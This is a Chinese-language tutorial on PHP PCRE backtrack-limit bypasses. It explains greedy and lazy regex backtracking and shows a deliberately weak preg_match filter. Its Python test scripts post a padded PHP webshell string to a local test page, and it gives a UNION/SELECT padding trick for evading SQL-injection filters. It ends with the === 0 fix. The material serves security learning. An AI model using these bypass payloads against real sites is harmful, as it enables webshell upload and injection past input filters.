PRCE 正则最大回溯次数

PRCE 正则最大回溯次数

重点概要

  • 回溯次数的计算:调用匹配正则表达式中的片段的次数,如:尝试匹配[a-z]+的次数。
  • 贪婪模式需要前覆盖后,才会出现绕过
  • 非贪婪模式一般都会有绕过
  • 注意$结束符号也要考虑在正则表达回溯条件中

在PHP正则匹配中,存在一个最大回溯次数

回溯现象

  • PHP中,为了防止一次正则匹配调用的匹配过程过大从而造成过多的资源消耗,限定了一次正则匹配中调用匹配函数的次数。 回溯主要有两种
  1. 贪婪模式下,pattern部分被匹配,但是后半部分没匹配(匹配“用力过猛”,把后面的部分也匹配过了)时匹配式回退的操作,在出现*、+时容易产生。
  2. 非贪婪模式下,字符串部分被匹配,但后半部分没匹配完全(匹配“用力不够”,需要通配符再匹配一定的长度),在出现*?、+?时容易产生。
  • 当传入字符串在正则匹配时回溯次数超过限制(默认1000000,可调整)时,会报错返回false
  • 使用以下代码可以查看当前prce_limit:
    1
    var_dump(ini_get('pcre.backtrack_limit'));

出现PRCE绕过的条件

贪婪模式下

  • 当正则表达式中存在前部分条件覆盖了后部分条件的时候,会出现PRCE,例:
    1
    preg_match('/<\?.*[(`;?>].*/is',$put)

此处的“[(;?>]”表达式被它前面的".*“包括在内了,所以会出现“用力过猛”的现象,造成回溯现象的产生。

非贪婪模式下

  • 非贪婪模式下极易出现PRCE绕过,因为非贪婪模式一定会每次只匹配一个,此时只要字符串足够长,肯定会超出backtrack_limit的范围。
    1
    2
    3
    if(preg_match('/UNION.+?SELECT/is', $input)) {
    die('SQL Injection');
    }

此处的“.+?”每次只匹配一个字符,当下一处不匹配“S”时,就会回溯调用匹配“.+?”,再继续匹配“S”,造成回溯现象的产生。

测试代码

贪婪模式

1
2
3
4
5
6
7
8
<?php
$put=$_REQUEST['input'];
if(preg_match('/<\?.*[(`;?>].*/is',$put)){
die('Hacker');
}
else{
echo "SUCCESS";
}

payload:

1
2
3
4
5
6
7
8
9
######################不通过##################
import requests
data = {
'input': '<?php eval($_POST[txt]);//' + 'a' * 100000
}
res = requests.post('http://localhost:801/test.php', data=data, allow_redirects=False)
print(res.text)

1
2
3
4
5
6
7
8
9
######################通过##################
import requests
data = {
'input': '<?php eval($_POST[txt]);//' + 'a' * 1000000
}
res = requests.post('http://localhost:801/test.php', data=data, allow_redirects=False)
print(res.text)

非贪婪模式

1
2
3
4
<?php
if(preg_match('/UNION.+?SELECT/is', $input)) {
die('SQL Injection');
}

payload:

1
UNION/*aaa.......aa*/SELECT

回溯过程在线分析网站

https://regex101.com/

修复方式

不管是贪婪模式还是非贪婪模式,preg_match报错返回的都不是真正的数字(0或1),所以应该使用三等号来判断:

1
2
3
4
5
6
7
function is_php($data){
return preg_match('/<\?.*[(`;?>].*/is', $data);
}
if(is_php($input) === 0) {
// fwrite($f, $input); ...
}

参考资料

PHP利用PCRE回溯次数限制绕过某些安全限制